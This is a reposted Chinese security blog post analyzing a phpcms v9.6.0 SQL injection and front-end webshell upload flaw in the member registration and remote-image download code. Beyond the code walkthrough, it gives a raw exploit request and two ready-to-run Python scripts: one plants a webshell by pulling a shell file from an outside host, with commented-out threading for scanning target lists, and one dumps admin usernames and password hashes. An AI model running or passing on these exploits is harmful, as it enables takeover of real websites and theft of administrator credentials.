phpcmsV9.6.0注入+前台getshell

  • A+
所属分类:独自等待

此漏洞发出来已经有段时间了,转过来给小伙伴们学习一下,文章结合漏洞时代和cnnetarmy博客内容,在此感谢。

代码分析:

主要的问题是phpcms\modules\member\index.php 130行到140行

//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
    require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);        
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    //var_dump($_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);
}

这里加载了两个文件.位于当前目录下的fields中的member_input.class.php。因为这里主要是调用了member_input.文件的开头就写清楚了

function __construct($modelid) {
    $this->db = pc_base::load_model('sitemodel_field_model');
    $this->db_pre = $this->db->db_tablepre;
    $this->modelid = $modelid;
    $this->fields = getcache('model_field_'.$modelid,'model');

做一点v9的常识

pc_base::load_model(‘*_model’) 加载数据库模型 
pc_base::load_sys_class(‘classname’) 实例化系统类
pc_base::load_app_class(‘classname’,’admin’) 实例化模块类
pc_base::load_sys_func (‘funcfile’) 调用系统函数库
以上是调用模型和实例化对象的四种方法
 
pc_base::load_model(‘*_model’) 对应加载 根目录\phpcms\model 下面的类文件
pc_base::load_sys_class(‘classname’) 对应加载 根目录\phpcms\libs\classes 下面的文件
pc_base::load_app_class(‘classname’,’admin’) 对应加载 根目录\phpcms\modules\admin\classes 下面的文件
pc_base::load_sys_func (‘funcfile’) 对应加载 根目录\phpcms\libs\functions\

因此在member_input.class.php中调用了

\phpcms\model\sitemodel_field_model.class.php

继续查看,发现调用的是

class sitemodel_field_model extends model {
    public $table_name = '';
    public function __construct() {
        $this->db_config = pc_base::load_config('database');
        $this->db_setting = 'default';
        $this->table_name = 'model_field';
        parent::__construct();
    }

加载了数据库配置.然后读取了表model_field.那么这个流程就是需要从model_field中匹配某些东西。继续跟get函数

function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
 
    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
        foreach($data as $field=>$value) {
            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
            $field = safe_replace($field);
            $name = $this->fields[$field]['name'];
            $minlength = $this->fields[$field]['minlength'];
            $maxlength = $this->fields[$field]['maxlength'];
            $pattern = $this->fields[$field]['pattern'];
            $errortips = $this->fields[$field]['errortips'];
            if(empty($errortips)) $errortips = "$name 不符合要求!";
            $length = empty($value) ? 0 : strlen($value);
            if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
            if($maxlength && $length > $maxlength && !$isimport) {
                showmessage("$name 不得超过 $maxlength 个字符!");
            } else {
                str_cut($value, $maxlength);
            }
            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
            if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
            $func = $this->fields[$field]['formtype'];
            if(method_exists($this, $func)) $value = $this->$func($field, $value);
 
            $info[$field] = $value;
        }
    }
    return $info;
}

注意观察到

$func = $this->fields[$field]['formtype'];

if(method_exists($this, $func)) $value = $this->$func($field, $value);

phpcmsv96

查看formtype其实是edit.查看下edit函数

phpcms\modules\member\fields\editor\input.inc.php

function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    $site_setting = string2array($this->site_config['setting']);
    $watermark_enable = intval($site_setting['watermark_enable']);
    $value = $this->attachment->download('content', $value,$watermark_enable);
    return $value;
}

发现这里调用了$this->attachment->download

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
        if(strpos($matche, '://') === false) continue;
        dir_create($uploaddir);
        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
        $filename = fileext($file);
        $file_name = basename($file);
        $filename = $this->getname($filename);
 
        $newfile = $uploaddir.$filename;
        $upload_func = $this->upload_func;
        if($upload_func($file, $newfile)) {
            $oldpath[] = $k;
            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
            @chmod($newfile, 0777);
            $fileext = fileext($filename);
            if($watermark){
                watermark($newfile, $newfile,$this->siteid);
            }
            $filepath = $dir.$filename;
            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
            $aid = $this->add($downloadedfile);
            $this->downloadedfiles[$aid] = $filepath;
        }
    }
    return str_replace($oldpath, $newpath, $value);
}

传输到地址经过new_stripslashes处理

function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

限制了后缀为$ext = 'gif|jpg|jpeg|bmp|png'。同时限定了传输到必须是网址

("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"

这个是一个实现远程图片自动上传功能的函数,用户提交的content中若有图片地址则自动将远程的地址copy到本地!在清楚content中的图片路径时候采用preg_match_all 正则匹配(红色代码部分),虽然有扩展名的验证但是很容易就能绕过,我们只需要将shell地址修改为:http://mysite/shell.php?1.gif就可以绕过了,mysite是自己的网站地址,如果自己网站下解析php的话那么php内容应该是

那么整个流程久清楚了..传输modelid起到了决定性的作用.只有在1,2,3,11的时候才会触发edit函数.同时可以赋值content.

phpcmsv96_1

POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: 192.168.87.128
Content-Length: 297
Cache-Control: max-age=0
Origin: http://192.168.87.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.87.128/index.php?m=member&c=index&a=register&siteid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: PHPSESSID=h5jo0216vveqr9blnh146tq5q5
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Originating-IP: 127.0.0.1
Connection: close
 
siteid=1&modelid=2&username=test&password=test123&pwdconfirm=test123&email=test%40qq.com&nickname=test233&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[content]=

GETSHELL代码:

# phpcms v9.6.0 sqli and getshell
# code by : whoam1
# blog : http://www.cnnetarmy.com

import requests
import random
import string
import hashlib
import re
import threading


def sqli(host):
 try:
  url1 = '{}/index.php?m=wap&c=index&a=int&siteid=1'.format(host)
  s =requests.Session()
  req = s.get(url1)
  flag = ''.join([random.choice(string.digits) for _ in range(2)])
  flag_hash = hashlib.md5(flag).hexdigest()
  url2 = '{}/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28md5%28{}%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26'.format(host,flag)
  cookie = requests.utils.dict_from_cookiejar(s.cookies)
  cookies = re.findall(r"siteid': '(.*?)'",str(cookie))[0]
  data = {"userid_flash":cookies}
  r = s.post(url=url2,data=data)
  a_k = r.headers['Set-Cookie'][61:]
  url3 = '{}/index.php?m=content&c=down&a_k={}'.format(host,a_k)
  if flag_hash[16:] in s.get(url3).content:
   print '[*] SQL injection Ok!'
  else:
   print '[!] SQL injection ERROR.'
 except:
  print 'requests error.'
  pass

def getshell(host):
 try:
  url = '%s/index.php?m=member&c=index&a=register&siteid=1' % host
  flag = ''.join([random.choice(string.lowercase) for _ in range(8)])
  flags = ''.join([random.choice(string.digits) for _ in range(8)])
  headers = {
  'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Encoding':'gzip, deflate',
  'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  'Upgrade-Insecure-Requests':'1',
  'Content-Type': 'application/x-www-form-urlencoded',
  'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'}
  data = "siteid=1&modelid=11&username={}&password=ad{}min&email={}@cnnetarmy.com&info%5Bcontent%5D=%3Cimg%20src=http://www.cnnetarmy.com/soft/shell.txt?.php#.gif>&dosubmit=1&protocol=".format(flag,flags,flag)
  r = requests.post(url=url,headers=headers,data=data,timeout=5)
  #print r.content
  shell_path = re.findall(r'lt;img src=(.*?)>',str(r.content))[0]
  print '[*] shell: %s  | pass is: cmd' % shell_path
  with open('sql_ok.txt','a')as tar:
   tar.write(shell_path)
   tar.write('\n')
 except:
  print 'requests error.'
  pass

if __name__ == '__main__':
 sqli('http://127.0.0.1/phpcms960/install_package')
 getshell('http://127.0.0.1/phpcms960/install_package')
 # tsk = []
 # f =  open('111.txt','r')
 # for i in f.readlines():
 #  url = i.strip()
 #  t = threading.Thread(target = sqli,args = (url,))
 #  tsk.append(t)
 # for t in tsk:
 #  t.start()
 #  t.join(0.1)

另附上luan表哥的另一个脱裤脚本:

import requests,sys,urllib
url = sys.argv[1]
print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'
sqli_prefix = '%*27an*d%20'
sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'
sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '
sqli_password2 = '_admin li*mit 0,1)x))'
sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'
setp1 = url + '/index.php?m=wap&a=index&siteid=1'
cookies = {}
for c in requests.get(setp1).cookies:
    if c.name[-7:] == '_siteid':
        cookie_head = c.name[:6]
        cookies[cookie_head+'_userid'] = c.value
    cookies[c.name] = c.value
print '[+] Get Cookie : ' + str(cookies)
setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
for c in requests.get(setp2,cookies=cookies).cookies:
    if c.name[-9:] == '_att_json':
        sqli_payload = c.value
print '[+] Get SQLi Payload : ' + sqli_payload
setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
html = requests.get(setp3,cookies=cookies).content
print '[+] Get SQLi Output : ' + html.split('luan$')[1]
table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]
print '[+] Get Table Prefix : ' + table_prefix
setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding
for c in requests.get(setp2,cookies=cookies).cookies:
    if c.name[-9:] == '_att_json':
        sqli_payload = c.value
print '[+] Get SQLi Payload : ' + sqli_payload
setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
html = requests.get(setp3,cookies=cookies).content
print '[+] Get SQLi Output : ' + html.split('luan$')[1]

原文地址:

http://0day5.com/archives/4368/

phpcmsV9.6.0注入+前台getshell



from www.waitalone.cn.thanks for it.

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: